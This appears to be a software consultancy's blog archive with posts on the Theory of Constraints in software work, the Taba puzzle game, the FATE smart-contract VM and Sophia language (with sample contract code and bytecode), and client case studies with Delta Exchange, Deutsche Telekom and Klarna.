Despite being published in the 1980s, the principles introduced in "The Goal" remain relevant today. In a world where efficiency and throughput are key to competitive advantage, the focus on managing constraints to improve overall system performance is more relevant than ever.

The book also presents a problem-solving methodology called “The five focusing steps”, also known as the process of ongoing improvement. The five steps are designed to identify and manage bottlenecks in order to improve process throughput. Here are the steps:

Identify the system's constraint(s): Determine the part of the system that is slowing down the entire process. This could be a machine in a factory, a step in a process, or any other factor that limits the system's output.
Decide how to exploit the system's constraint(s): Figure out how to get the most out of the constraint without increasing its capacity. This could involve reducing downtime, improving scheduling, or eliminating inefficiencies.
Subordinate everything else to the above decision(s): Align the entire system to support the constraint. This could involve adjusting schedules, processes, or policies to ensure that the constraint is always working at full capacity.
Elevate the system's constraint(s): If the constraint still limits the system's output after the above steps, consider ways to increase its capacity. This could involve investing in new equipment, hiring more staff, or other actions that increase the constraint's throughput.
If a constraint has been broken, go back to step 1. Don't let inertia become the system's constraint: Once a constraint is resolved, another part of the system will become the new constraint. The process then repeats, leading to continuous improvement.

These steps provide a systematic approach to improving a system's output by focusing on its constraints. They can be applied to any system or process, from a manufacturing plant to a software development process.

"The Goal" and the Theory of Constraints (TOC) provide valuable insights that can be applied to software development. Here are some key takeaways and their applications:

Identify the Constraint: In software development, a constraint could be a particular piece of code, a development process, or even a team member. It's important to identify what is slowing down the development process. This could be done through retrospectives, performance metrics, or simply by asking team members about their challenges. In my experience, the process is often a constraint. Forcing developers to spend time estimating the time it takes to do a task, and having arbitrary sprint cycles that just break up the flow and the productivity of a team is most often a real waste of time.

Another common constraint can be the build, test, and release process. Make sure this is streamlined.

Exploit the Constraint: Once the constraint is identified, find ways to make the most of it. This could involve optimizing a piece of code, improving a development process, or providing additional support to a team member. If for example the corporate rules force the team to work in sprints and do estimates, make sure that as little time as possible is spent on this,
Subordinate and Synchronize: Adjust the rest of the system to support the constraint. This could involve changing the order in which tasks are done, reallocating resources, or adjusting schedules to ensure that the constraint is not being held up by other parts of the system.
Elevate the Constraint: If the constraint is still a bottleneck, consider ways to increase its capacity. This could involve investing in better tools, providing additional training, or changing the process.
Repeat the Process: Once a constraint is resolved, another will appear. Continuous improvement involves repeating this process to identify and address new constraints. Even though I am not a big fan of all the rituals of Scrum, I think it is a good idea to have something like a retrospective every now and then to keep improving.

In addition to these steps, "The Goal" also emphasizes the importance of viewing the system as a whole. In software development, this means looking beyond individual tasks or team members and considering how everything works together. This holistic view can help to identify systemic issues and opportunities for improvement.

Finally, "The Goal" promotes a culture of learning and adaptation. In software development, the ability to learn from mistakes and adapt to new technologies and methodologies is crucial.

The most important lesson in the ebook is that The Goal of any business is to make money. It is easy to lose focus on this and instead focus on improving processes and output, but if the output doesn’t improve the bottom line, then the whole exercise is pointless. Always make sure you are working on the most important thing to increase revenue or profit, then try to do this as efficiently as possible.

Taba the story

2023-06-01T00:00:00Z

In 2017, we embarked on a journey to build a blockchain named Aeternity. We used Erlang and developed a virtual machine called Fate, along with a programming language named Sophia.

You can read more about Fate in another post.

As a fun application to test on the chain, we built a game contract.

The idea was that the game begins when a player calls the start function in the contract. Other players have until height H+1000 to place a bet. At height H+1001, players can call the contract to get a seed from the H+1000 block hash. Players can then view the game in their app, solve it, and push the number of moves and a hash of the solution to the contract. At height H+2000, a player can claim the winnings by sending in their solution. The player who first produced the shortest correct solutions wins and gets the tokens.

But since this was a bit too close to gambling we decided to never publish the contract or the game.

Instead we rewrote the game in Erlang and JavaScript. We used some fantastic creative commons graphics to enhance the game's visual appeal in this version.

For the Erlang server we used the Cowboy webserver with a worker pool.Each worker handles one request. For single-player mode, we used a REST API and serialized through the database. For multiplayer mode, we used a WebSocket API and serialized in a gen_server (1/game) with state backed to the database.

Then we developed a solver in C to find solutions for the puzzles. The solver is capable of finding the optimal solution. We use this to calculate the difficulty of the puzzle.

Our designer, Johannes, created more appealing graphics for the game, and we rewrote the frontend in Dart and Flutter. Puzzles are generated using a pseudo-random number generator implemented in all involved languages (Erlang, JavaScript, Dart, Java).

The game is very easy to pick up and play. It is available for download for free on the App Store and Google Play. The current version of the game boasts over 19 quintillions of puzzles to solve, with new features being added regularly.

The game is hosted at Taba Quest where you can read more about it.

Or you can just download it, but don't blame me if all your free time suddenly is gone.

FATE: Revolutionizing Smart Contract Execution

2023-05-31T00:00:00Z

Introduction

Smart contracts serve as the building blocks for decentralized applications. At HappiHacking, we had the privilege of collaborating with æternity, a blockchain platform built on the BEAM in Erlang. Together, we embarked on a mission to develop a virtual machine that would revolutionize smart contract execution. This blog post takes you through our journey and highlights the key features of FATE (Fast æternity Transaction Engine), an innovative solution that enhances efficiency and safety in blockchain applications.

The Genesis of FATE

HH (HappiHacking) was approached by æternity who were building a blockchain on the BEAM in Erlang. They wanted to have a virtual machine to execute smart contracts on their new blockchain.

We were invited to a meetup with the development team in Sophia, Bulgaria two weeks later. Neither I nor Tobias new anything about blockchains at the time. So I sat down with the Ethereum "yellow paper" (sic!) to learn something about the technology. In order to really understand the Ethereum virtual machine, the EVM, I implemented a version of it in Erlang. I called this VM "AEVM" for the æternity Ethereum Virtual Machine.

Me and Tobias were very excited to go to Sophia and learn everything about blockchain from the development team. After a few intensive days of discussions we realized that the blockchain technology was in its infancy and very new, no one new that much about the technology, how to implement it or even which features to implement.

When I showed the team my AEVM implementation, everyone was impressed and we got a very central position in the æternity core team.

Taking the Lead in Technical Decisions

For the next two years me and Tobias lead many of the technical decisions and coded much of the core of æternity. When the main features of the blockchain were implemented we started thinking about how to really design a virtual machine for the blockchain.

Identifying the Vision for Smart Contracts

We identified a number of properties we saw or wanted to see in Smart Contracts:

Short run time
Deterministic
Reusable
Easy to understand and verify
Easy access to æternity specific features (Oracles, Contracts, Channels)

Challenges with Existing Solutions

We also saw a number of problems with the design of Solidity, the Ethereum smart contract language, and the design EVM which also affected the AEVM. The EVM was modeled after a computer. It had stack slots, and memory addresses, word length, and arithmetic that could overflow or silently fail.

The Solution -- Sophia and FATE

To address these challenges and create a superior smart contract execution environment, we developed the Sophia programming language. Sophia embodies the following principles:

Static Typing: Sophia is statically typed, ensuring type safety and reducing common programming errors.
Concurrency Control: While allowing parallelism, Sophia avoids true concurrency, simplifying execution and enhancing safety.
Well-Defined Errors: Sophia incorporates comprehensive error handling mechanisms, providing clear and unambiguous error messages to developers.
Safety Focus: With Sophia, safety is prioritized through design choices that prevent vulnerabilities and protect against attacks.
Blockchain Integration: Sophia is closely integrated with the æternity blockchain, offering seamless access to its unique features.
Data Structure Efficiency: Sophia emphasizes well-defined serialization and storage mechanisms, eliminating unnecessary complexities.

We also designed a type-safe high-level virtual machine for smart contracts. FATE is highly optimized for Sophia and the æternity blockchain. FATE is the culmination of our efforts, embodying the principles outlined above.

No Memory Limit

Fate removes the traditional memory limit found in other virtual machines. Instead, it introduces gas control to manage the execution of smart contracts. Gas acts as a resource limit and ensures that computations within smart contracts do not exceed the available resources. By removing the memory limit, Fate offers more flexibility in executing complex computations without being restricted by memory constraints.

Gas Controlled

Gas control is a fundamental aspect of the Fate virtual machine. Each operation and computation within a smart contract consumes a specific amount of gas. The gas consumption determines the cost of executing the contract. Gas control ensures that smart contracts are executed within the specified resource limits and prevents malicious or computationally expensive code from monopolizing the system. By incorporating gas control, Fate promotes fair resource allocation and efficient contract execution.

No Concurrency (Parallelism Possible)

Fate operates without native support for concurrency. While individual contracts run sequentially, the absence of concurrency within a single contract enhances determinism and simplifies contract development, testing, and debugging. External parallelism could be achieved by executing multiple contracts or transactions concurrently, leveraging the inherent scalability of the underlying blockchain network.

Statically Typed (No Floats)

Fate employs static typing, which provides enhanced safety and predictability in smart contract development. Static typing requires variables and data types to be explicitly declared and verified at compile-time. This approach eliminates common type-related errors and improves code correctness. Additionally, Fate avoids the use of floating-point numbers, which can introduce complexities and potential precision issues. By adhering to a statically typed model and excluding floats, Fate enhances contract reliability and predictability.

Well Defined Errors

Fate ensures well-defined errors during contract execution. This feature helps developers identify and handle exceptions, errors, and invalid operations within their contracts. Clear error messages and exception handling mechanisms enable efficient debugging and troubleshooting, facilitating the development process and enhancing contract robustness.

Close Integration to Blockchain

Fate is designed for close integration with the blockchain it operates on, such as the æternity blockchain. This integration allows seamless interaction between smart contracts and the underlying blockchain infrastructure. Fate leverages æternity-specific features, such as oracles, contracts, and channels, to enable efficient and secure communication, data exchange, and execution of blockchain-based applications.

Stack-Based

Fate follows a stack-based execution model, where operations are performed on a stack of data elements. This model simplifies the execution process and enables efficient memory management. The stack-based approach allows for compact bytecode representation and optimized execution, making Fate well-suited for resource-constrained environments like blockchain networks.

Well Defined Serialization

Serialization refers to the process of converting data structures or objects into a format suitable for storage or transmission. Fate ensures well-defined serialization mechanisms, which enable efficient and reliable serialization of data within smart contracts. This feature is crucial for a blockchain which depends on determinism.

By incorporating these features, Fate provides a powerful and efficient execution environment for smart contracts. Its gas control, stack-based execution, well-defined errors, and close integration with the blockchain contribute to the secure and reliable execution of contracts on the æternity blockchain. Developers can leverage Fate's features to build sophisticated, deterministic, and high-performing applications on the blockchain.

Fate has the following built in types, in the virtual machine language.

-- Fate types
Integer -- signed arbitrary precision integers
Boolean -- (true | false)
Address -- A pointer into the state tree
Contract | Oracle | Oracle_query | Channel
String -- utf8 encoded byte arrays
Bytes
Tuple (), ('a), ('a, 'b, ...)
List -- Cons cells (‘a) | Nil (Ʇ)
Map (‘a, ‘b) -- (Key: ‘a -> Value: ‘b) ‘a not a map
Variant (| [Sizes] | Tag | Elements |)
Bits
TypeRep

In a blockchain virtual machine, such as FATE, the design choices regarding code structure, code addresses, and data size play a crucial role in ensuring the integrity, security, and efficiency of smart contract execution within the blockchain ecosystem. We decided to have no memory addresses in FATE to make it impossible to trick the VM to execute the wrong code. Instead we have the following design:

Basic Blocks (BB): The code structure is organized into Basic Blocks. A Basic Block is a sequence of instructions that can be executed without interruption. By dividing the code into Basic Blocks, the VM can optimize the execution process, handle control flow efficiently, and provide better security and auditing capabilities.
Absence of code/instruction addresses: In FATE, there are no specific addresses assigned to code instructions. This is primarily done to enhance security and prevent arbitrary code jumps or modifications. By removing direct access to code memory addresses, the VM ensures that the execution of smart contracts follows a predefined and controlled path, reducing the risk of malicious or unauthorized code manipulation.
Function-centric code organization: Each function within a smart contract has its own code. This separation allows for modularity and encapsulation of functionality. It enables efficient code reuse, improves readability, and simplifies the debugging and maintenance processes. Moreover, by isolating functions, the VM can manage resources and handle function calls in a structured and controlled manner.
Unspecified data size: FATE does not impose a predetermined size for data. This flexibility is essential to accommodate varying data requirements of different smart contracts. It allows for the storage and manipulation of data structures of different sizes, ranging from small integers to large arrays or complex objects. By not limiting the data size, the VM promotes versatility and adaptability in smart contract development. It also removes all possible overflow bugs and attacks.
No defined word size: Unlike traditional computer architectures, FATE does not enforce a fixed word size for instructions or data. This design choice grants flexibility to the VM implementation, allowing it to optimize memory usage and adapt to the specific requirements of the blockchain platform. It enables efficient storage and processing of data without unnecessary overhead or constraints imposed by fixed word sizes. This also removes all possible overflow bugs and attacks.
Flexible data storage: The implementation of FATE has the freedom to choose how data is stored. This flexibility ensures that the VM can utilize the most suitable data structures and storage mechanisms for the given platform. It enables efficient data retrieval, manipulation, and persistence while considering factors such as storage cost, access speed, and compatibility with the underlying infrastructure.
Absence of word size or byte size addresses to memory: In FATE, memory addresses are not defined based on word size or byte size. This design decision allows for a more abstract and agnostic representation of memory, decoupling it from specific hardware architectures. It enables the VM to handle memory operations in a platform-independent manner, promoting compatibility and portability.

Overall, these design choices aim to strike a balance between security, efficiency, flexibility, and compatibility. By carefully considering the unique requirements and constraints of blockchain systems, the VM can provide a reliable and robust execution environment for smart contracts, fostering trust, transparency, and decentralized application development.

Let us look at some code examples. Here is a simple Solidity (the default language of Ethereum and EVM) contract with just an identity function.

Solidity

// Solidity
pragma solidity ^0.5.11;
contract Identity {
    function id(int256 X) public pure returns (int256) {
        return X;
    }
  }

Here is the same contract in Sophia.

Sophia

// Sophia
contract Identity = payable entrypoint main (x:int) = x

Note how much shorter just such a simple contract is and also that in Solidity you have to specify the word size of your integer.

If we compile the Solidity Identity to the Ethereum Virtual Machine (EVM) assembly language we get a quite large program:

 PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO
 PUSH1 0xF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP
 PUSH1 0xAB DUP1 PUSH2 0x1E PUSH1 0x0 CODECOPY PUSH1 0x0
 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE
 DUP1 ISZERO PUSH1 0xF JUMPI PUSH1 0x0 DUP1 REVERT
 JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH1 0x28
 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1
 PUSH4 0x1A94D83E EQ PUSH1 0x2D JUMPI JUMPDEST
 PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x56 PUSH1 0x4
 DUP1 CALLDATASIZE SUB PUSH1 0x20 DUP2 LT ISZERO
 PUSH1 0x41 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2
 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD
 SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH1 0x6C JUMP
 JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE
 PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1
 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x0 DUP2 SWAP1
 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH6
 0x627A7A723158 KECCAK256 0xc2 0xb9 0xdf 0xb0 0xc8
 0xdf 0xf6 SWAP14 SWAP14 0xe9 0x46 0xcd PUSH17
 0x1D21108C0786A26266D0F114ADBF024CDE 0x4b 0xd1
 PUSH5 0x736F6C6343 STOP SDIV SIGNEXTEND STOP ORIGIN

If we compile the Sophia Identity contract to AEVM we get a slightly smaller bytecode:

PUSH3 0, 0, 100 PUSH3 0, 0, 132 SWAP2 DUP1 DUP1 DUP1
MLOAD PUSH32 185, 201, 86, 242, 139, 49, 73, 169, 245,
152, 122, 165, 5, 243, 218, 27, 34, 9, 204, 87, 57, 35,
64, 6, 43, 182, 193, 189, 159, 159, 153, 234 EQ PUSH3 0,
0, 192 JUMPI POP DUP1 MLOAD PUSH32 104, 242, 103, 99,
56, 255, 80, 136, 57, 171, 164, 119, 73, 239, 250, 139,
232, 126, 242, 132, 242, 7, 251, 61, 153, 152, 112, 28,
213, 56, 135, 197 EQ PUSH3 0, 0, 175 JUMPI POP PUSH1 1
NOT MLOAD STOP JUMPDEST PUSH1 0 NOT MSIZE PUSH1 32 ADD
SWAP1 DUP2 MSTORE PUSH1 32 SWAP1 SUB PUSH1 3 DUP2 MSTORE
SWAP1 MSIZE PUSH1 0 MLOAD MSIZE MSTORE PUSH1 0 MSTORE
PUSH1 0 RETURN JUMPDEST PUSH1 0 DUP1 MSTORE PUSH1 0
RETURN JUMPDEST MSIZE MSIZE PUSH1 32 ADD SWAP1 DUP2
MSTORE PUSH1 32 SWAP1 SUB PUSH1 0 NOT MSIZE PUSH1 32 ADD
SWAP1 DUP2 MSTORE PUSH1 32 SWAP1 SUB PUSH1 3 DUP2 MSTORE
DUP2 MSTORE SWAP1 JUMP JUMPDEST PUSH1 32 ADD MLOAD MLOAD
MSIZE POP DUP1 SWAP2 POP POP DUP1 SWAP1 POP SWAP1 JUMP
JUMPDEST POP POP DUP3 SWAP2 POP POP PUSH3 0, 0, 140 JUMP

When we compile the Sophia Identity contract to FATE we get:

FUNCTION init() : {tuple,[]}
    ;; BB : 0
    STORE store1 ()
    RETURNR ()

FUNCTION main(integer) : integer
    ;; BB : 0
    RETURNR arg0

That's it. That is the actual FATE assembler code. Short, readable and to the point.

In conclusion, the FATE (Fast æternity Transaction Engine) virtual machine offers several advantages in terms of safety, efficiency, and cost-effectiveness compared to other blockchain virtual machines like AEVM (æternity Ethereum Virtual Machine).

Overall, FATE serves as an efficient and secure transaction engine for executing smart contracts. Its type safety, deterministic nature, gas-limited memory, and execution provide a reliable and predictable environment for building decentralized applications. With its compact bytecode and improved performance, FATE offers an enhanced user experience and cost-effective utilization of blockchain resources.

Conclusion

In the æternity project we used many of the services that HappiHacking is known for:

Rapid Prototyping: We developed the AEVM in two weeks, proving that it would be feasible to write a virtual machine for æternity.
The Happy Path Method: Through the project we developed the most important aspects first and quickly without sacrificing quality and performance. Steering the project forward with a gentle hand even when we didn't have formal leadership roles.
Rubberducking as a Service: We were there for the rest of the development team and management to discuss ideas and solutions.
Erlang & Beam Expertise: With our long experience in developing production quality Erlang systems we managed to get a performant, reliant, robust and scalable blockchain system built in time.

Full-Service Project Partner: We took an ide that was mostly in the head of the founder of æternity and turned it into a design, architecture, a working system, and a live deployment.
Deep-dive analysis and problem solving: We took our time to really understand the domain, and then we designed Sophia and FATE. We also worked on many other problems in the blockchain world such as Merkle Patricia Tries, oracles, state channels, names, accounts, Bitcoin.NG, proof of work and more.
System Validation through Tech Lead Mentoring: Me and Tobias embedded ourselves in the development team and could mentor more junior developers, review code and make sure the system architecture was solid.
Team management: Happi often lead daily stand ups and discussion when the team met.
Project management: We helped the formal project manager with the direction of the project on a higher level.

We will try to come back with another blog article about some of the lessons we learned implementing a block chain from scratch. (Hint: Patricia Merkle Tries are really cool).

We were not alone in the project so I want to give a big thank you and shout out to the whole team, you know who you are!

Unleashing the Power of Erlang's BEAM

2023-05-30T00:00:00Z

Today I will share some insight from our collaboration with Delta Exchange (aka Delta), a leading player in the cryptocurrency trading space. At HappiHacking, our team of experts had the privilege of working closely with Delta Exchange to address their architectural challenges, scale their system, and provide comprehensive education on the BEAM virtual machine.

This case study highlights some of the things we do best at HappiHacking. We help our customers to help themselves. With our experience in software development and specifically from high-performance BEAM systems, we can quickly pinpoint problems and suggest solutions. It also shows our ability to share our experience and educate our customers.

We call this service Rubberducking as a Service™ (RDaaS™).

Part 1: Architectural Review and Scalability Challenges

Delta Exchange has been at the forefront, providing a robust platform for matching trades between buyers and sellers. However, every successful system faces its share of challenges, and Delta Exchange is no exception. In the world of high-volume cryptocurrency trading, scalability, and efficient processing are paramount. Delta Exchange approached us with a specific need - to optimize their application's performance, enhance distribution across nodes, and identify any architectural bottlenecks.

We meticulously reviewed their existing architecture, considering the nuances of the BEAM scheduler, and identified areas for improvement. From optimizing process distribution and supervisor structures to investigating run queue size fluctuations, we left no stone unturned in our pursuit of architectural excellence.

The RabbitMQ Conundrum:

During our work, Delta encountered a problem with RabbitMQ overloading Mnesia (Erlang's built-in database). This raised concerns and prompted the need to understand the issue in depth to prevent it from happening again. To investigate the problem, HappiHacking engaged in a detailed analysis of the RabbitMQ architecture. It was revealed that the size of certain RabbitMQ files indicated considerable activity in the corresponding tables. While the Mnesia warning was deemed harmless, the sheer number of queues raised eyebrows and pointed to potential architectural considerations.

Optimizations and Learnings:

The team at Delta Exchange delved into optimizing their system to address the challenges they encountered. They identified areas for improvement, such as reducing redundant data in inter-process communication and migrating away from Mnesia to alternative data storage solutions like ETS and Redis. These optimizations not only enhanced system efficiency but also paved the way for a more streamlined and scalable architecture.

Unraveling the GenServer Timeouts

We also discovered some problems with GenServer call timeouts. With GenServer processes timing out during handle calls, it became apparent that congestion was a likely culprit. Tobias recommended examining network throughput and monitoring bursts in Erlang processes and message queues to identify the point of origin. Additionally, increasing the distribution buffer busy limit and investigating network-level congestion were suggested as potential solutions.

Tools for Monitoring and Postmortem Analysis:

Delta also sought advice on monitoring tools to aid in tracking bursts in Erlang processes and message queues. Tobias highlighted the importance of having systems in place to report such events and examine them postmortem. While interactive monitoring through tools like the Observer CLI and sorting processes based on reductions and message queues can be helpful, it's advantageous to have a comprehensive monitoring infrastructure to gain deeper insights into system behavior.

We have continued to develop this course, you can read more about it in the post Unlocking Performance: Introducing HappiHacking's New Course on BEAM.

Part 2: Harnessing the Power of BEAM VM

To empower Delta Exchange's team with in-depth knowledge, we designed a series of comprehensive BEAM VM courses. Our experienced instructors educated Delta Exchange personnel on the inner workings of the BEAM virtual machine, covering critical topics such as processes, memory subsystems, networking, debugging, and more. Through engaging lectures, hands-on exercises, and ongoing support, we equipped Delta Exchange's team with the tools and insights needed to harness the full potential of BEAM.

Outcomes and Achievements:

Delta Exchange's experience with scaling challenges and production insights demonstrates their commitment to providing a high-performance trading platform.

Thanks to our collaborative efforts, Delta Exchange experienced significant improvements in its system's performance, scalability, and overall architecture. The architectural review led to the implementation of optimized process distribution, enhanced supervisor structures, and proactive measures to mitigate run queue size issues. Additionally, the BEAM VM education equipped Delta Exchange's personnel with a deep understanding of the virtual machine, empowering them to make informed decisions and drive continuous improvement.

One notable optimization was the reduction of redundant data in inter-process communication. By carefully optimizing payloads and leveraging technologies like 'protobuf', Delta Exchange significantly reduced payload sizes, resulting in enhanced efficiency and improved overall system performance.

Additionally, Delta Exchange made a strategic decision to migrate away from Mnesia and embrace alternative data storage solutions like ETS and Redis. This shift not only provided them with more flexibility but also allowed them to leverage the unique capabilities of these technologies for their specific use cases.

Their commitment to continuous improvement and willingness to explore new technologies sets them apart in the fast-paced world of cryptocurrency trading.

As Delta Exchange continues to push the boundaries of cryptocurrency trading, they stand ready to face future challenges armed with knowledge and experience. The lessons learned from their RabbitMQ adventures serve as a reminder that continuous optimization and monitoring are essential components of building and maintaining a robust and scalable system.

We're proud to have played a pivotal role in helping Delta Exchange tackle its scalability challenges and unlock the true power of the BEAM virtual machine. Our collaboration stands as a testament to the transformative impact of architectural review, scalability solutions, and comprehensive education.

Are you ready to unleash the full potential of your software system? Contact HappiHacking today and enjoy a world of optimized performance, scalable architecture, and unrivaled expertise.

For the technical foundations behind the BEAM scheduler, process memory, and monitoring tools discussed in this case study, see The BEAM Book.

Rapid Prototyping

2023-05-29T00:00:00Z

Today, we want to talk about on of our exciting projects with Deutsche Telekom, one of Europe's largest telecom providers. Together, we embarked on a mission to revolutionize the Smart Home industry, all while adhering to GDPR and ensuring scalable, data-driven innovation. This is yet another testimony of the success of the Happy Path Method^TM.

Telekom, as they prefer to call themselves, needed a system that could seamlessly handle a staggering one billion transactions per day, all while tackling the complexities of data anonymization. But here's the twist: they still wanted to extract valuable insights through statistical analysis from this anonymized data. Challenge accepted!

We got the request in late December from an innovation department at Telekom. They needed to convince upper management that it was possible to build a system that could handle this amount of traffic within a reasonable budget. Problem was, that this proof was needed by January to be approved in the next year's budget.

In just three short weeks our HappiHacking team armed with Erlang, Kafka, and the Happy Path Method quickly built a proof-of-concept solution that easily could handle over 15.000 transactions per second, and anonymizing all data in a GDPR compliant way. This convinced Deutsche Telekom's management of the project's feasibility. With a bit of Swedish humor and a relentless pursuit of value delivery, we showed that innovation doesn't have to be a long and tedious process.

Unfortunately there was a political policy decision at Telekom at the time that only allowed the use of three programming languages in production. Erlang was strangely not one of them, but Java was. So over the next three months, we worked tirelessly to transform our Erlang proof-of-concept into a production-ready solution in Java. It still used the same Kafka setup, anonymization and Grafana monitoring but some of the end points were replaced by Java, and the corporately approved Spring Boot framework. This required a bit more work but HappiHacking's team of experts designed an architecture that could handle the massive data volume, ensuring smooth transactional systems capable of handling billions of messages each day.

This innovative data streaming solution paved the way for Deutsche Telekom's own team to build new services upon our foundation. Among those services was the MagentaZuhause App which received a reddot award.

As a little side project we also managed to get data from a Magenta TV set top box which was a black box to us. By combining bash scripts, C, regexps and some innovative hacking we manged to get information from the TV, and we could also turn the TV on and off remotely within a few milliseconds. This proved that we could build a service for remotely managing a TV in the home. For a real product we would of course build it into the software which another department within Telekom had access to, but such a cross departments project could take months to get started.

" - Why did the smart TV get turned off?"
" - Happi's joke was so bad."

Throughout the project, our partnership with Deutsche Telekom flourished. Together, we navigated the intricacies of the Smart Home landscape, crafting solutions that blended robust data handling with GDPR compliance. Our motivated HappiHacking team went the extra mile, delivering qualitative results while sharing a few bad jokes along the way.

In the words of Filiz Hazer-Yilmaz, Deutsche Telekom's representative: "If you are searching for a motivated team that will go the last mile with you, deliver qualitative stuff, and understand bad jokes…HappiHacking is the right choice!"

At HappiHacking, we thrive on challenging projects that push the boundaries of innovation. Our Smart Home collaboration with Deutsche Telekom exemplifies the power of rapid prototyping, scalable systems, and a touch of Swedish irreverence. We're proud to have played a part in designing and implementing new IoT services, revolutionizing the Smart Home experience for Deutsche Telekom's customers.

Taming the Spaghetti Monster: The Birth of Kappa

2023-05-26T00:00:00Z

In the early days at Klarna (a period I covered in Three Decades with Erlang), as our codebase grew exponentially, a peculiar problem began to manifest. Our expansive Erlang code base, like an unruly hydra, developed a tendency to morph into a maze of spaghetti code. The issue? Erlang functions, being either local to a module or exported universally, had a propensity for bypassing the carefully laid out APIs of our subsystems. As a result, library functions across subsystems could directly communicate, ignoring the module divisions that were supposed to enforce a clean code structure. It was a classic case of an organizational nightmare - the spaghetti monster was upon us.

Faced with this challenge, my colleagues, Richard and Tobias, and I, knew we had to act swiftly. We devised a plan that involved introducing business layers, coupled with enforcing rules through the build system to thwart any such infractions. This strategy was designed to control how different parts of the codebase could interact with each other. The result was the creation of an internal system that we affectionately named "Kappa".

Kappa was designed to answer the call for efficient means to manage the increasing complexity in our codebase. With Kappa, we were able to trace the ownership of specific applications, modules, or even database tables. It gave us an eagle-eye view of our codebase, pointing out which team was responsible for what part of the code and how to contact them. This made our development process significantly more organized and facilitated a higher level of accountability.

Further, Kappa allowed us to establish 'Application API modules' to curb inter-application calls to a select API set, preventing calls to private modules of other apps. The 'Restricted record fields usage' made alterations to record structures easier by only allowing specified modules to access specific record fields directly. We also introduced 'Code Layers', which essentially divided our apps into multiple layers, each with specific roles and restrictions concerning inter-layer communication.

The effects of implementing Kappa were almost immediate - we saw a significant improvement in code modularity, traceability, and the overall quality of our codebase. The spaghetti monster was finally tamed!

What started as a small internal project to tackle a growing concern transformed into a powerful tool that enabled us to navigate a complex codebase and bring it under control. Today, part of Kappa's code has been open-sourced, offering a glimpse into the structures we used to control our code at Klarna.

The creation and implementation of Kappa serve as a testament to HappiHacking's dedication to finding effective solutions in the realm of software development. Our battle with the spaghetti monster has given us a deeper understanding of the nuances involved in managing a large codebase. Armed with this knowledge and experience, we at HappiHacking are committed to helping you navigate the complexities of your codebase and deliver value as efficiently as possible.

You can find Kappa on Github

The 'Happy Path Method'™ - Reshaping Software Development with Agile Excellence

2023-05-25T00:00:00Z

In software development, time often surpasses money as the most valuable resource. Projects that are delayed or become stagnant incur more costs than those executed swiftly and efficiently. Also, the faster the value of a project can be reaped the faster the project start paying for itself.

With this realization at the forefront, we at HappiHacking have developed a unique approach to software development: the 'Happy Path Method'™. This revolutionary method, inspired by the "let it crash" thinking inherent in Erlang programming and our philosophy that "time is greater than money," is setting a new benchmark in the agile software development realm.

The 'Happy Path Method'™ focuses on value delivery, aiming to extract and deliver the utmost value from a project as swiftly as possible. It’s not merely about creating code, but about crafting intelligent, efficient solutions that align with your strategic goals. Our method puts the most impactful tasks front and center, ensuring that the most value is obtained upfront, accelerating the return on investment.

A significant influence on our approach is the Erlang programming language, renowned for its robust, fault-tolerant systems and concurrency. The "let it crash" philosophy of Erlang encourages the creation of systems that recover quickly from failures rather than attempting to prevent all possible errors - a philosophy we’ve carried into the 'Happy Path Method'™. We focus on building the core, essential functionality first (the "happy path"), while allowing for the fact that there may be bumps and obstacles along the way. This approach enables us to deliver software that's robust and adaptable, offering high value while mitigating risks.

The 'Happy Path Method'™ does not cut corners or compromise on quality. On the contrary, it emphasizes the importance of delivering a high-quality, working product with the most crucial features first, thus ensuring a more efficient and productive use of time and resources. It allows us to incrementally refine and enhance the product, resulting in a mature, robust solution that meets all requirements while exceeding expectations.

Implementing the 'Happy Path Method'™, we've helped numerous clients achieve their goals faster and more effectively than they ever imagined possible. For instance, our work with Klarna's installment plans project is a testament to the power of the 'Happy Path Method'™, where we transformed a grand vision into an operative reality within an impressively short timeframe, all while ensuring meticulous regulatory compliance and precision.

The 'Happy Path Method'™ is more than just a technique; it's a philosophy of prioritizing value over the ticking clock, of understanding that time is, indeed, greater than money. It encapsulates the ethos of HappiHacking - delivering high-quality, efficient solutions that truly make a difference. We invite you to experience the difference of the 'Happy Path Method'™. After all, the path to happiness is paved with successful software deployments!

HappiHacking's Just in Time Development

2023-05-24T00:00:00Z

I served as the Head of Engineering in Klarna's early days. With a lean yet proficient team of five, we managed to manifest the vision of Klarna's flexible installment plans through rapid prototyping - setting a new precedent in agile development.

Klarna had a mission: to let customers choose flexible payment installments. Translating this vision into reality required far more than a great idea. It demanded exceptional expertise, agile efficiency, and a profound comprehension of local rules and legislation.

Our project was about speed, yes, but it was also about careful compliance and precision. Harnessing our unique agile development approach, the Happy Path Method, we were tasked with creating a system that met Klarna's specific requirements, complied with local regulations, and was delivered within an impressively short time. We started by thoroughly analyzing the proposed solution, then concentrated our efforts on delivering value swiftly and effectively.

In August, the project embarked, aiming to be ready for the Christmas shopping rush. We adopted incremental releases as a strategic tool to ensure continuous progress and timely delivery - an approach that epitomizes the potency of agile methodologies. This enabled us to gather regular feedback, make necessary adjustments, and adapt to ensure the final product perfectly suited Klarna's needs.

By October, just two months after the project kick-off, the first iteration of the installment plan system was launched. This was more than a major milestone; it was a demonstration of our formidable development skills and dedication to delivering within the deadline. This early release enabled webshops to begin offering installment plans as a payment method, even though invoicing end customers, receiving payments, or calculating interest were not yet functional. However, by fully understanding the service, we knew these components wouldn't be required until one month after the first customer purchase - leaving ample time for further development.

Post initial release, we relentlessly refined and enhanced the system, adding features just in time. Our efforts ranged from introducing invoicing and handling payments to calculating interest, all the while optimizing the system for performance, security, and usability.

